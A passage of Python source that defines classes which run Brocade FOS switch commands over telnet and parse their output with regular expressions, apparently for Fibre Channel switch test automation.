re.compile('\\s?([0-9]{1,3}):\\s+([\\d\\w]{6})\\s+([:\\d\\w]{23})\\s+([.\\d]{7,15})\\s+([.\\d]{7,15})\\s+([\"_\\w\\d]+)')\n ras_result = ras.search(capture_cmd)\n \n ras = re.compile('\\s?([0-9]{1,3}):\\s+')\n ras_result_all = ras.findall(capture_cmd)\n \n #if ras_result:\n #print(\"\\n\\nFabric show output\\n\")\n #print(\"Match found group 0: \",ras_result.group())\n #print(\"Match found group 1: \",ras_result.group(1))\n #print(\"Match found group 2: \",ras_result.group(2))\n #print(\"Match found group 3: \",ras_result.group(3))\n #print(\"Match found group 4: \",ras_result.group(4))\n #print(\"Match found group 5: \",ras_result.group(5))\n #print(\"Match found group 6: \",ras_result.group(6))\n #print(\"Match found group 7: \",ras_result.group(7))\n \n #print(\"\\n\\nFabric show output end\\n\")\n #else:\n #ras_result = \"no fabric\"\n #print(\"no fabric\")\n \n if ras_result_all:\n #print(\"\\n\\nFabric show output find ALL\\n\")\n #print(\"Match for find all :\" , ras_result_all)\n #swtch_one = ras_result_all[0]\n #print(\"First in the list is : \", swtch_one)\n #how_many = len(ras_result_all)\n #print(\"Last in the list is : \", ras_result_all[how_many -1])\n \n #print(\"\\n\\nFabric show find all output end\\n\")\n return(ras_result_all)\n \n else:\n print(\"NOOOOOOOOOOOOO!!!!!!!!!!\")\n ras_result = \"no fabric\"\n return(\"no fabric\")\n \n return(ras_result)\n\n\n def zone_info(self, zone_capture, dbl=0):\n \"\"\"\n return info all about the zones\n zone_capture needs to be a 1,2 or 3\n 1 = Entire cfgshow output\n 2 = Defined only\n 3 = Effective only\n \"\"\"\n #### need to add zone names\n capture_cmd = fos_cmd(\"cfgshow\")\n entire = ('Defined configuration:\\r\\n\\s[ 0-9a-zA-Z:;_,\\r\\n\\t]+\\r\\n')\n defined = ('Defined configuration:\\r\\n\\s[ 0-9a-zA-Z:;_,\\r\\n\\t]+(?=Effective)')\n effective = ('Effective configuration:\\r\\n\\s[0-9a-zA-Z:;_, \\r\\n\\t]+')\n #effective = ('Effective configuration:\\r\\n\\s[0-9a-zA-Z:;_, \\n\\t]+')\n global tn\n tn.set_debuglevel(dbl)\n if zone_capture == 1:\n ras = re.compile(entire)\n a = ras.findall(capture_cmd)\n zone = (str(a[0]))\n return(zone)\n elif zone_capture == 2:\n ras = re.compile(defined)\n wtf = ras.findall(capture_cmd)\n define = (str(wtf[0]))\n return(define)\n elif zone_capture == 3:\n ras = re.compile(effective)\n wtf = ras.findall(capture_cmd)\n eff = (str(wtf[0]))\n return(eff)\n else:\n print (\"No Zone match or a number other than 1,2,3 passed in. Exiting Script\")\n sys.exit()\n\n def zone_cfgtransshow(self, dblevel=0):\n capture_cmd = fos_cmd(\"cfgtransshow --opentrans\", dblevel)\n ras = re.compile('(?<=-)\\r\\n\\s?(\\d{1,3})')\n digit = ras.findall(capture_cmd)\n return(digit)\n \nclass SwitchInfo:\n \"\"\"\n A class to return information about a switch\n \"\"\"\n global tn\n \n def __init__(self):\n #my_ipaddr = ipaddr\n self.__director__()\n self.online_ports = \"\"\n self.ipaddr = self.__myIPaddr__()\n \n \n \n def __sw_show_info_no_port_type__(self):\n \"\"\"\n capture the switch info and each column with regexs\n if the port type is not included in switchshow output\n then add the port to the list\n \"\"\"\n #tn.set_debuglevel(9)\n capture_cmd = fos_cmd(\"switchshow\")\n if self.am_i_director:\n ras = re.compile('\\s?([0-9]{1,4})\\s+([-\\d]+)\\s+(\\d+)\\s+([-0-9abcdef]{6})\\s+([-id]{2})\\s+([-UNG123486]{2,4})\\s+([_\\w]{5,9})\\s+((FC)\\s*(?=\\\\n))')\n else:\n #ras = re.compile('\\s?([0-9]{1,3})\\s+(\\d+)\\s+([-0-9abcdef]{6})\\s+([-id]{2})\\s+([-UNG12486]{2,3})\\s+([_\\w]{5,9})\\s+((FC)\\s*(?=\\\\n))')\n ras = re.compile('\\s?([0-9]{1,3})\\s+(\\d+)\\s+([-0-9a-f]{6})\\s+([-id]{2})\\s+([-UNG12486]{2,3})\\s+([_\\w]{5,9})\\s+((FC)\\s*(?=\\\\n))')\n ras = ras.findall(capture_cmd)\n self.online_ports = ras\n \n def __sw_show_info_all_ports__(self):\n \"\"\"\n capture switchshow info for ports (port types: F,E,EX,VEX and Disabled) and each column with regex\n return the index list of ports\n \"\"\"\n capture_cmd = fos_cmd(\"switchshow\")\n if self.am_i_director :\n #ras = re.compile('\\s?([0-9]{1,3})\\s+([-\\d]+)\\s+(\\d+)\\s+([-0-9abcdef]{6})\\s+([-id]{2})\\s+([-UNG12486]{2,3})\\s+(Online)\\s+(FC)\\s+([->\\w]{6,8})\\s+([()-:\\\"_\\w\\s\\d]*?(?=\\\\n))')\n ras = re.compile('\\s?([0-9]{1,4})\\s+([-\\d]+)\\s+(\\d+)\\s+([-0-9abcdef]{6})\\s+([-id]{2})\\s+([-UNG123486]{2,4})\\s+([_\\w]{5,9})\\s+([FCVE]+)\\s*([->\\w]{6,8})([()-:\\\"_=\\w\\s\\d]*?(?=\\\\n))')\n else:\n #ras = re.compile('\\s?([0-9]{1,3})\\s+(\\d+)\\s+([-0-9abcdef]{6})\\s+([-id]{2})\\s+([-UNG12486]{2,3})\\s+(Online)\\s+[FCVE]\\s+([->\\w]{6,14})\\s+([()-:\\\"_\\w\\s\\d]*?(?=\\\\n))') \n #ras = re.compile('\\s?([0-9]{1,3})\\s+(\\d+)\\s+([-0-9abcdef]{6})\\s+([-id]{2})\\s+([-UNG12486]{2,3})\\s+([_\\w]{5,9})\\s+(FC)\\s+([->\\w]{6,14})\\s+([()-:\\\"_\\w\\s\\d]*?(?=\\\\n))')\n ras = re.compile('\\s?([0-9]{1,4})\\s+(\\d+)\\s+([-0-9abcdef]{6})\\s+([-id]{2})\\s+([-UNG123486]{2,4})\\s+([_\\w]{5,9})\\s+([FCVE]+)\\s*([->\\w]{6,14})([()-:\\\"_=\\w\\s\\d]*?(?=\\\\n))')\n ras = ras.findall(capture_cmd)\n self.online_ports = ras\n return(ras)\n \n def __sw_basic_info__(self):\n \"\"\"\n Retrieve FCR fabric and return info. Variable #'s:\n 0) Switch name\n 1) IP address\n 2) Chassis or Pizza Box\n 3) VF or not\n 4) FCR Enabled\n 5) Base Configured\n \n \"\"\"\n switchname = self.switch_name()\n ip_addr = self.ipaddress()\n director = self.director()\n vf = self.vf_enabled()\n fcr = self.fcr_enabled()\n base = self.base_check()\n \n return[switchname, ip_addr, director, vf, fcr, base]\n \n #Example on how to print Human readable results:\n #print('\\n\\n'+ '='*20)\n #print(\"Switch Name : %s\" % initial_checks[0])\n #print(\"IP address : %s\" % initial_checks[1])\n #print(\"Chassis : %s\" % initial_checks[2])\n #print(\"VF enabled : %s\" % initial_checks[3])\n #print(\"FCR enabled : %s\" % initial_checks[4])\n #print(\"Base configured : %s\" % initial_checks[5])\n #print('='*20 + '\\n\\n')\n \n\n def __director__(self):\n \"\"\"\n determine if the switch is director or pizza box\n True = director\n False = pizza box\n \"\"\"\n \n capture_cmd = fos_cmd(\"hashow\",0)\n #print('ZZZZZZZZZZZ')\n #print(capture_cmd)\n self.am_i_director = True\n try:\n if \"hashow: Not supported\" in capture_cmd:\n self.am_i_director = False\n except:\n #self.am_i_director = False\n return(\"COULD NOT DETERMINE IF SWITCH IS A DIRECTOR\")\n \n \n def __myIPaddr__(self):\n \"\"\"\n determine the current switch IP\n Return the ipv4 address\n Return 0 if no match found\n \"\"\"\n capture_cmd = fos_cmd(\"ipaddrshow\", 0)\n try:\n #match = re.search('(?P[\\s+\\S+]+:([\\d\\.]){7,15}(?=\\\\r\\\\n))', capture_cmd)\n match = re.search('(?P([\\s+\\w+]+):\\s?(?P[0-9\\.]{1,15}))', capture_cmd)\n \n if match:\n myip = (match.group('ip'))\n return(myip)\n else:\n print(\"\\n\\n NO IP FOUND \\n\\n\")\n return(0)\n except:\n return(\"COULD NOT MATCH IP ADDRESS\")\n \n\n def __getblanklist__(self):\n \"\"\"\n Find the ports that are blank \n Return a list of port or slot / port for directors \n \"\"\"\n #### this still needs tested for no port in the list\n #### in other words with all ports populated\n #### it could be tested with all SIM ports\n ####\n port_list = []\n self.__sw_show_info_no_port_type__()\n capture_cmd_split = self.online_ports\n for i in capture_cmd_split:\n slot_port_list = []\n slot_port_list.append(int(i[1]))\n if self.am_i_director:\n slot_port_list.append(int(i[2]))\n port_list.append(slot_port_list)\n \n return(port_list)\n\n def __getportlist__(self, porttype):\n \"\"\"\n ` Return a list of the porttype passed in - in the current FID\n \n \"\"\"\n port_list = []\n self.__sw_show_info_all_ports__()\n capture_cmd_split = self.online_ports\n ras_result = capture_cmd_split.count(porttype)\n if self.am_i_director:\n location = 8\n else:\n location = 7\n \n persist_local = location\n persist_local += 1\n \n for i in capture_cmd_split:\n if i[location] == porttype:\n #### port_list.append(i[0])\n #slot_port_list = []\n #slot_port_list.append(int(i[1]))\n if self.am_i_director:\n #slot_port_list.append(int(i[2]))\n slot_port_list = [int(i[1]), int(i[2])]\n #port_list.append(s_p)\n else:\n slot_port_list = [0, int(i[1])]\n port_list.append(slot_port_list)\n \n \n if porttype == \"Persistent\":\n try:\n if \"rsistent\" in i[persist_local]:\n ####port_list.append(i[0])\n #slot_port_list = []\n #slot_port_list.append(int(i[1]))\n if self.am_i_director:\n #slot_port_list.append(int(i[2]))\n slot_port_list = [int(i[1]), int(i[2])]\n else:\n slot_port_list = [0, int(i[1])]\n port_list.append(slot_port_list)\n \n except UnboundLocalError:\n print(\"unboundlocalerror - moving on \")\n pass\n\n if not ras_result:\n ras_result = \"no port found\"\n return(port_list)\n\n def ae_ports(self):\n \"\"\"\n Return a list of the AMP AE-ports in the current FID\n \"\"\"\n return(self.__getportlist__(\"AE-Port\"))\n \n def allow_xisl(self):\n \"\"\"\n Return whether XISL Use is: 'ON or OFF'\n \n \"\"\"\n capture_cmd = fos_cmd(\"switchshow\")\n try:\n ras = re.compile('Allow XISL Use:\\s+(\\w{2,3})') \n ras = ras.findall(capture_cmd)\n ss = str(ras[0])\n except IndexError: ##Base switch does not have \"allow xisl\" condition\n return(\"OFF\")\n else:\n return(ss)\n\n def all_ports(self):\n \"\"\"\n Queuries switch for number of ports.\n return the port list or none if no ports in the FID\n The list will include FC and VE ports\n \"\"\"\n \n ras_list = []\n capture_cmd = fos_cmd(\"switchshow\")\n if self.am_i_director:\n ras = re.compile('(?:\\d{1,4}\\s{3,4})(?P\\d{1,2})\\s+?(?P\\d{1,2})') \n ras = ras.findall(capture_cmd)\n for i in ras:\n ras_list.append(list(i))\n for i in ras_list:\n i[0] = int(i[0])\n i[1] = int(i[1])\n return(ras_list)\n else:\n ras = re.compile('(?:\\n\\s+?\\d+\\s{0,3})(\\d{0,3})')\n ras = ras.findall(capture_cmd)\n for i in ras:\n prt = [0, int(i)]\n #prt.append(int(i))\n ras_list.append(prt)\n \n return(ras_list)\n \n return(\"none\")\n \n def all_ports_fc_only(self):\n \"\"\"\n Queuries switch for number of ports.\n return the port list or none if no ports in the FID\n the list will include FC ports only\n \"\"\"\n ras_list = []\n \n capture_cmd = fos_cmd(\"switchshow\")\n if self.am_i_director:\n ras = re.compile('(?:\\d{1,4}\\s{3,4})(?P\\d{1,2})\\s+?(?P\\d{1,2})\\s+[-0-9a-f]{6}\\s+[-idcu]{2}\\s+[-ANU234816G]{2,3}\\s+\\w+\\s+[FC]{2}') \n ras = ras.findall(capture_cmd)\n for i in ras:\n ras_list.append(list(i))\n for i in ras_list:\n i[0] = int(i[0])\n i[1] = int(i[1])\n return(ras_list)\n else:\n ras = re.compile('\\s?\\d{1,2}\\s+(\\d{1,2})\\s+[-0-9a-f]{6}\\s+[-idcu]{2}\\s+[-AN234816G]{2,3}\\s+\\w+\\s+[FC]{2}') \n ras = ras.findall(capture_cmd)\n for i in ras:\n prt = [0, int(i)]\n #prt.append(int(i))\n ras_list.append(prt)\n \n return(ras_list)\n \n return(\"none\")\n \n def base_check(self):\n \"\"\"\n Return Base FID if found\n Return False if no base is found\n \"\"\"\n capture_cmd = fos_cmd(\"lscfg --show\")\n match = re.search('(?P\\d{0,3})\\(ds\\)(?:.+?)(?P\\d{0,3})\\(bs\\)', capture_cmd)\n if match:\n base = (match.group('base'))\n return(base)\n else:\n return(False)\n \n def blade_search_8GB(self):\n \"\"\"\n Parse out 8GB Blades.\n This is used against non-VF switches.\n Return 0 if none are found\n \"\"\"\n #global tn\n slotshow_8GB = fos_cmd(\"slotshow -m | grep F.8\")\n pattern = re.compile(\"BLADE\")\n matchObj = pattern.search(slotshow_8GB)\n if matchObj:\n #print(\"\\n\\n\\nGathering Blade Info\\n\\n\\n\")\n return(slotshow_8GB)\n else:\n return(0)\n \n def blades(self, L=False, C=False):\n \"\"\"\n return the list of SW blades in the switch\n includes SW BLADES and AP BLADES\n L option will return a list of the blade port numbers if set to true\n if set to false it will return the port, type, ID and model\n \n \"\"\"\n \n \n if self.am_i_director:\n capture_cmd = fos_cmd(\"slotshow -m\")\n if L:\n ras = re.compile('(\\d+)\\s+[SWAP]')\n elif C:\n #ras = re.compile('(\\d+)\\s+(CORE BLADE)\\s+(\\d+)\\s+([-CRFCOSEX1032468]+)\\s+(\\w+)')\n print(\"&\"*80)\n ras = re.compile('(\\d+)\\s+[CO]{2}')\n else:\n ras = re.compile('(\\d+)\\s+(SW BLADE|AP BLADE|CP BLADE|CORE BLADE)\\s+(\\d+)\\s+([-FCOSEX1032468]+)\\s+(\\w+)')\n \n ras = ras.findall(capture_cmd)\n return(ras)\n else:\n if not self.am_i_director:\n return(\"not a director\")\n else:\n return(\"unknown\")\n \n\n def blank_type(self):\n \"\"\"\n Return a list of ports that do not have a port type\n \n \"\"\"\n return(self.__getblanklist__())\n \n def currentFID(self):\n \"\"\"\n Return the current FID number\n \n \"\"\"\n capture_cmd = fos_cmd(\"switchshow\")\n ras = re.compile('[.\\s]+LS Attributes:\\s+\\[FID:\\s+(\\d+)') \n ras = ras.findall(capture_cmd)\n print(\"\\n\\n\\n\")\n print(\"CURRENT FID\")\n print(ras)\n if not ras:\n fid = \"AG MODE ?\"\n else:\n fid = int(ras[0])\n return(fid)\n \n def chassisname(self):\n capture_cmd = fos_cmd(\"chassisname\")\n cn = capture_cmd.replace(\" \", '')\n ras = re.compile('([\\w\\d_]+)(?:\\\\r\\\\n)')\n ras = ras.findall(cn)\n return(ras)\n \n #def d_ports(self):\n # \"\"\"\n # this does not work because the getportlist requires the port\n # \"\"\" \n # return(self.__getportlist__(\"D-Port\"))\n \n def cp_ipaddrs_get(self):\n \"\"\"\n determine the current switch IP\n Return the ipv4 address\n Return 0 if no match found\n \"\"\"\n capture_cmd = fos_cmd(\"ipaddrshow\", 0)\n try:\n #match = re.search('(?P[\\s+\\S+]+:([\\d\\.]){7,15}(?=\\\\r\\\\n))', capture_cmd)\n ras = re.compile('Ethernet\\s+IP\\s+Address:\\s+([0-9\\.]{7,15})')\n ras = ras.findall(capture_cmd)\n return(ras)\n\n except:\n print(\"COULD NOT MATCH IP ADDRESS\")\n sys.exit()\n return(\"COULD NOT MATCH IP ADDRESS\")\n \n return(ras)\n \n def credit_recovery(self):\n \"\"\"\n returns the configuration setting for credit recovery\n captures each line the has a line return at the end\n \n \"\"\"\n \n capture_cmd = fos_cmd(\"creditrecovmode --show\")\n #cn = capture_cmd.replace(\" \", '')\n ras = re.compile('([ \\'\\w\\d_]+)(?:\\\\r\\\\n)')\n ras = ras.findall(capture_cmd)\n return(ras)\n \n \n \n \n def default_switch(self):\n \"\"\"\n Return default FID if found\n Return 0 if no match\n \"\"\"\n capture_cmd = fos_cmd(\"lscfg --show\")\n match = re.search('(?P\\d{0,3})\\(ds\\)(?:.+?)(?P\\d{0,3})\\(bs\\)', capture_cmd)\n if match:\n default = (match.group('default'))\n return(default)\n else:\n return(0)\n\n def director(self):\n \"\"\"\n return a True if this switch is a director\n \"\"\"\n return(self.am_i_director)\n \n def disabled_ports(self):\n \"\"\"\n Return a list of disabled ports including Persistent disabled ports\n \"\"\"\n return(self.__getportlist__(\"Disabled\"))\n \n def dns_config_info(self):\n \"\"\"\n Domain Name Server Configuration Information \n ____________________________________________ \n\n Domain Name = englab.brocade.com\n Name Server IP Address = 10.38.2.1\n Name Server IP Address = 10.38.2.2\n \"\"\"\n \n reg_ex = [ b\"4]\"]\n reg_ex_option = [ b\"Enter option\" ]\n \n capture_cmd = fos_cmd_regex(\"dnsconfig\", reg_ex, 9)\n \n #cn = capture_cmd.replace(\" \", '')\n capture_cmd = fos_cmd_regex(\"1\", reg_ex)\n \n ras_dname = re.compile('(Domain Name\\s+=\\s+[\\.a-zA-z0-9]+)(?:\\r\\n)')\n ras_ip = re.compile('(Name Server IP Address\\s+=\\s+[\\.0-9:]+)(?:\\r\\n)')\n ras_dname = ras_dname.findall(capture_cmd)\n ras_ip = ras_ip.findall(capture_cmd)\n \n dns_info = str(ras_dname) + str(ras_ip)\n \n capture_cmd = fos_cmd(\"4\")\n \n return(dns_info)\n \n \n \n def e_ports(self):\n \"\"\"\n ` Return a list of the E-ports in the current FID\n \"\"\"\n doit = False\n e = self.__getportlist__(\"E-Port\")\n dex = -1\n try:\n dex = [y[0] for y in e].index(-1)\n e.pop(dex)\n except ValueError:\n pass\n #if dex != -1:\n #e.pop(dex)\n \n return(e)\n \n def ex_ports(self):\n \"\"\"\n ` Return a list of the EX-ports in the current FID\n \"\"\"\n return(self.__getportlist__(\"EX-Port\"))\n \n def vex_ports(self):\n \"\"\"\n ` Return a list of the VEX-ports in the current FID\n \"\"\"\n return(self.__getportlist__(\"VEX-Port\"))\n \n def d_ports(self):\n \"\"\"\n Return a list of the D-Ports in the current FID\n \"\"\"\n return(self.__getportlist__(\"D-Port\"))\n \n def f_ports(self):\n \"\"\"\n ` Return a list of the F-ports in the current FID\n \"\"\"\n return(self.__getportlist__(\"F-Port\"))\n \n def fan_count(self):\n \"\"\"\n count the list of fans returned in fanshow command\n \"\"\"\n capture_cmd = fos_cmd(\"fanshow\")\n ras = re.compile('(Fan)\\s(\\d)([, \\w\\d]{9,25})')\n ras = ras.findall(capture_cmd)\n return(ras)\n \n def fcr_enabled(self):\n \"\"\"\n Determine if FCR is enabled on the switch\n 1 - yes\n 0 - no\n \"\"\"\n fos_cfg = fos_cmd(\"fosconfig --show\")\n foscfg = re.search( r'(FC Routing service:).*(enabled)', fos_cfg, re.M|re.I)\n if foscfg:\n return(True)\n else:\n return(False) \n \n def g_ports(self):\n \"\"\"\n Return a list of the G-ports in the current FID\n \"\"\"\n return(self.__getportlist__(\"G-Port\"))\n \n def getLicense(self):\n \"\"\"\n get a list of the license on the switch\n \"\"\"\n try:\n capture_cmd = fos_cmd(\"licenseshow\")\n #ras = re.compile('([\\w\\d]{16,37})(?=:\\\\r\\\\n)')\n ras = re.compile('([\\w\\d]*[A-Z,a-z,0-9])(?=:\\s)')\n ras = ras.findall(capture_cmd)\n return(ras)\n except:\n return(\"COULD NOT DETERMINE LICENSE\")\n \n \n def ipaddress(self):\n return(self.__myIPaddr__())\n \n def loopback(self):\n \"\"\"\n Return a list of the Loopback-ports in the current FID\n \"\"\"\n return(self.__getportlist__(\"Loopback->Port\"))\n \n def ls(self):\n \"\"\"\n find the logical switch numbers and return them in a list \n \"\"\"\n capture_cmd = fos_cmd(\"lscfg --show\")\n ras = re.compile('(\\d{1,3})(?=\\()') \n ras = ras.findall(capture_cmd)\n return(ras)\n \n def ls_now(self):\n \"\"\"\n find the logical switch numbers that is currently logged in \n \"\"\"\n capture_cmd = fos_cmd(\" \")\n ras = re.compile('[-_A-Za-z0-9]{1,30}:FID(\\d{1,3})') \n ras = ras.findall(capture_cmd)\n try:\n ras = int(ras[0])\n return(ras)\n except:\n return(0)\n\n def ls_and_domain(self):\n \"\"\"\n find the logical switch numbers and the domains\n \"\"\"\n capture_cmd = fos_cmd(\"lscfg --show\")\n #ras = re.compile('IDs\\):\\s+([\\( 0-9bsd)]+)(?=\\\\r\\\\n)')\n ras = re.compile('([\\(0-9bsd)]{4,12})')\n \n ras = ras.findall(capture_cmd)\n \n return(ras)\n \n\n def nos_check(self):\n \"\"\"\n Looks at switchshow output and if \"Rbridge\" is found, it is a NOS switch.\n \"\"\"\n capture_cmd = fos_cmd(\"switchshow | grep Rbridge\")\n ras = re.search(r'Rbridge', capture_cmd)\n if ras:\n return(True)\n else:\n return(False)\n \n def n_ports(self):\n \"\"\"\n Return a list of N-Ports in the current FID\n \n \"\"\"\n return(self.__getportlist__(\"N-Port\"))\n \n def persistent_disabled_ports(self):\n \"\"\"\n Return a list of disabled ports including Persistent disabled ports\n \n \"\"\"\n return(self.__getportlist__(\"Persistent\"))\n\n def sensor_t_f_ps(self,sensor_type):\n \"\"\"\n Return a list of temp sensors, Fan or Power Supply from\n sensorshow commmand that report Ok\n type can be f = Fan t = Temperature Sensor ps = Power Supply\n \n \"\"\"\n \n if sensor_type == \"t\":\n capture_cmd = fos_cmd(\"sensorshow\")\n ras = re.compile('(sensor)\\s+(\\d+):\\s+\\((Temperature)\\)\\s+is\\s+([Ok]{2}), value is (\\d+)') \n ras = ras.findall(capture_cmd)\n \n if sensor_type == \"f\":\n capture_cmd = fos_cmd(\"sensorshow\")\n ras = re.compile('(sensor)\\s+(\\d+):\\s+\\((Fan )\\)\\s+is\\s+([OkFaulty]{2,6})(?=,speed is (\\d+))*') \n ras = ras.findall(capture_cmd)\n \n if sensor_type == \"ps\":\n capture_cmd = fos_cmd(\"sensorshow\")\n ras = re.compile('(sensor)\\s+(\\d+):\\s+\\((Power Supply)\\)\\s+is\\s+([Ok]{2})') \n ras = ras.findall(capture_cmd)\n \n return(ras)\n\n def sfp_info(self,info_type=\"info\"):\n \"\"\"\n Return a list of sfp and the optic speed\n speed or a summary\n pass summary\n \"\"\"\n \n #### director data\n sfpinfo = []\n sfp_combine = []\n all_ports = self.all_ports_fc_only()\n sfp_count = 0\n count16 = 0\n count8 = 0\n count4 = 0\n count10 = 0\n count_other = 0\n #print(\"\\n\\n\\n\\n\")\n #print(all_ports)\n #print(\"@\"*80)\n \n for i in all_ports:\n \n slot = i[0]\n port = i[1]\n \n capture_cmd = fos_cmd(\"sfpshow %s/%s \" % (slot,port))\n ras = re.compile('(\\d{1,2}(?=_G))')\n #ras = re.compile('Transceiver:\\s+[\\d\\w]{16}\\s+[,\\d]?(\\d{1,2}(?=_))')\n ras = ras.findall(capture_cmd)\n sfp_speed = -1\n \n #print(\"\\n\\n\\n\")\n #print(ras)\n #if ras != []:\n # print(\"EMPTYSET\")\n #print(\"\\n\\n\\n\\n\")\n \n if ras != []:\n #print(\"\\n\\nSETTING THE SDFINFO info \\n\")\n #print(\"with slot port speed %s %s %s : \" % (slot, port, sfp_speed))\n sfp_speed = int(ras[0])\n sfp_combine = [slot,port,sfp_speed]\n sfpinfo.append(sfp_combine)\n #print(\"\\n\\nSETTING THE SDFINFO info \\n\")\n #print(\"with slot port speed %s %s %s : \" % (slot, port, sfp_speed))\n \n sfp_combine = \"\"\n for i in sfpinfo:\n sfp_count += 1 \n if i[2] == 16:\n count16 += 1\n elif i[2] == 8:\n count8 += 1\n elif i[2] == 4:\n count4 += 1\n elif i[2] == 10:\n count10 +=1\n else:\n count_other +=1\n \n sfpinfo_summary = [\"total sfp count = \", sfp_count, 16, count16, 8, count8, 4, count4, 10, count10, \"other\", count_other]\n \n \n \n \n #### return list or summary or details\n #### sfpinfo is list sfp_summary\n if info_type == \"summary\":\n return(sfpinfo_summary)\n elif info_type == \"detail\":\n return(sfpinfo_detail)\n else:\n return(sfpinfo)\n\n def sim_ports(self, extended = True):\n \"\"\"\n Return a list of the SIM ports in the current FID\n \n \"\"\"\n extend_list = []\n index_address = []\n if extended :\n return(self.__getportlist__(\"SIM-Port\"))\n else:\n self.__sw_show_info_all_ports__()\n \n location = 2\n if self.am_i_director:\n location = 3\n \n for i in self.online_ports:\n \n if 'SIM-Port' in i:\n index_address.append(i[0])\n index_address.append(i[location])\n extend_list.append(index_address)\n index_address = []\n return(extend_list)\n \n def switch_state(self):\n \"\"\"\n Return the switch state 'Offline or Online'\n \n \"\"\"\n while True:\n capture_cmd = fos_cmd(\"switchshow\")\n ras = re.compile('switchState:\\s+(\\w{6,7})') \n ras = ras.findall(capture_cmd)\n #print(ras)\n #print('TRYING TRY STATEMENT IN switch_state')\n #sys.exit()\n try:\n ss = str(ras[0])\n return(ss)\n except IndexError:\n liabhar.JustSleep(30)\n \n \n def switch_id(self ):\n \"\"\"\n get the current switch\n does not work on AG switch\n \n \"\"\"\n #### need a check for AG switch \n try:\n capture_cmd = fos_cmd(\"switchshow\")\n ras = re.compile('switchDomain:\\s+(\\d{1,3})') \n ras = ras.findall(capture_cmd)\n sid = [int(i) for i in ras]\n sid = int(ras[0])\n return(sid) \n except IndexError:\n return(\"AG\")\n \n \n def switch_name(self ):\n \"\"\"\n get the current switch Name from switchshow\n return the current switchname\n \"\"\"\n capture_cmd = fos_cmd(\"switchshow\")\n #ras = re.compile('switchName:\\s+([_\\d\\wA-Za-z]{1,30})')\n ras = re.compile('switchName:\\s+([_\\-\\d\\wA-Za-z]{1,30})')###added \"\\-\" to capture hyphen\n ras = ras.findall(capture_cmd)\n print(ras)\n sn = str(ras[0])\n return(sn)\n \n def switch_status(self):\n \"\"\"\n Retrieve FCR fabric and return info. Variable #'s:\n 0) Switch name\n 1) IP address\n 1) Chassis or Pizza Box\n 2) VF or not\n 3) FCR Enabled\n 4) Base Configured\n \n return dictionary with {switch_name, ipaddr, chassis, vf_enabled, base, fcr_enabled}}\n \"\"\"\n #fcrinfo = FcrInfo()\n initial_checks = self.__sw_basic_info__()\n #print(\"Switch Name : %s\" % initial_checks[0])\n #print(\"IP address : %s\" % initial_checks[1])\n #print(\"Chassis : %s\" % initial_checks[2])\n #print(\"VF enabled : %s\" % initial_checks[3])\n #print(\"FCR enabled : %s\" % initial_checks[4])\n #print(\"Base configured : %s\" % initial_checks[5])\n #print('='*20 + '\\n\\n')\n #switch_info = { 'switch_name' : initial_checks[0],'ipaddr' : initial_checks[1], 'chassis' : initial_checks[2],'vf_enabled' : initial_checks[3], 'fcr_enabled' : initial_checks[4], 'base' : initial_checks[5]}\n return(initial_checks)\n \n def switch_type(self):\n \"\"\"\n get the current switch type number from switchshow\n return the type number\n \"\"\"\n capture_cmd = fos_cmd(\"switchshow\")\n ras = re.compile('switchType:\\s+(\\d{1,3})')\n ras = ras.findall(capture_cmd)\n try:\n sn = str(ras[0])\n except IndexError:\n \n sysexit()\n \n \n return(sn)\n \n \n def synchronized(self):\n \"\"\"\n determine if a switch CP blades are in sync\n \"\"\"\n \n capture_cmd = fos_cmd(\"hashow\")\n \n if \"Not supported\" in capture_cmd:\n ss = self.switch_state()\n if ss == \"Online\":\n \n return(True)\n else:\n return(False)\n \n if \"HA State synchronized\" in capture_cmd:\n return(True)\n else:\n return(False)\n \n \n \n def temp_sensors(self, absent='no'):\n \"\"\"\n find the tempsensors with OK state\n \"\"\"\n if self.am_i_director:\n capture_cmd = fos_cmd(\"tempshow\")\n ras = re.compile('\\s?(\\d+)\\s+(\\d+)\\s+(Ok)\\s+(\\d+)\\s+(\\d+)') \n ras = ras.findall(capture_cmd)\n \n if absent != \"no\":\n capture_cmd = fos_cmd(\"tempshow\")\n ras = re.compile('\\s?(\\d+)\\s+(\\d+)\\s+(Absent)\\s+(\\d+)\\s+(\\d+)') \n ras = ras.findall(capture_cmd)\n else:\n capture_cmd = fos_cmd(\"tempshow\")\n ras = re.compile('\\s?(\\d+)\\s+(Ok)\\s+(\\d+)\\s+(\\d+)') \n ras = ras.findall(capture_cmd)\n \n if absent != \"no\":\n capture_cmd = fos_cmd(\"tempshow\")\n ras = re.compile('\\s?(\\d+)\\s+(Absent)\\s+(\\d+)\\s+(\\d+)') \n ras = ras.findall(capture_cmd)\n \n \n return(ras)\n \n def vf_enabled(self):\n \"\"\"\n See if switch has vf enabled\n Return VF or noVF\n \n \"\"\"\n #self.__change_fid__()\n #self.lscfgshow = lscfgshow\n capture_cmd = fos_cmd(\"lscfg --show\" )\n foscfg = re.search( '(requires)', capture_cmd, re.M|re.I)\n if foscfg:\n #print(\"\\n\\n\\nVF not enabled on this switch\\n\\n\\n\")\n return(False)\n else:\n #print(\"\\n\\n\\nVF is enabled on this switch\\n\\n\\n\")\n return(True)\n\nclass FcrInfo(FabricInfo, SwitchInfo):\n \"\"\"\n Class for FCR functions and information. Doc strings need to be added for some of the functions.\n \"\"\"\n \n def __init__(self):\n SwitchInfo.__init__(self)\n FabricInfo.__init__(self) \n\n def all_ex_ports(self):\n \"\"\"\n Capture all ex ports for both Chassis and Pizza Box using \"switchshow\" command, \n \"\"\"\n fos_cmd(\"setcontext %s\" % self.base_check()) ###################NEW\n capture_cmd = self.__getportlist__(\"EX-Port\")\n return(capture_cmd)\n \n def all_ex_ports_with_edge_fid(self):\n \"\"\"\n Capture all ex ports for both Chassis and Pizza Box using \"switchshow\" command. Returns\n slot # (\"0\" for pizzabox), port number, edge_fid.\n \"\"\"\n if self.am_i_director:\n fos_cmd(\"setcontext %s\" % self.base_check())\n capture_cmd = self.__getportlist__(\"EX-Port\")\n ex = []\n for i in capture_cmd:\n slot = i[0]\n port = i[1]\n a = fos_cmd(\"portcfgexport %s/%s\" % (slot, port))\n fid = (re.findall('Edge Fabric ID:\\s+(\\d{1,3})', a))\n fid = int(fid[0])\n ex_list = [slot, port, fid]\n ex.append(ex_list)\n return(ex)\n else:\n fos_cmd(\"setcontext %s\" % self.base_check())\n capture_cmd = self.__getportlist__(\"EX-Port\")\n ex = []\n for i in capture_cmd:\n a = fos_cmd(\"portcfgexport %s\" % (i[1]))\n fid = (re.findall('Edge Fabric ID:\\s+(\\d{1,3})', 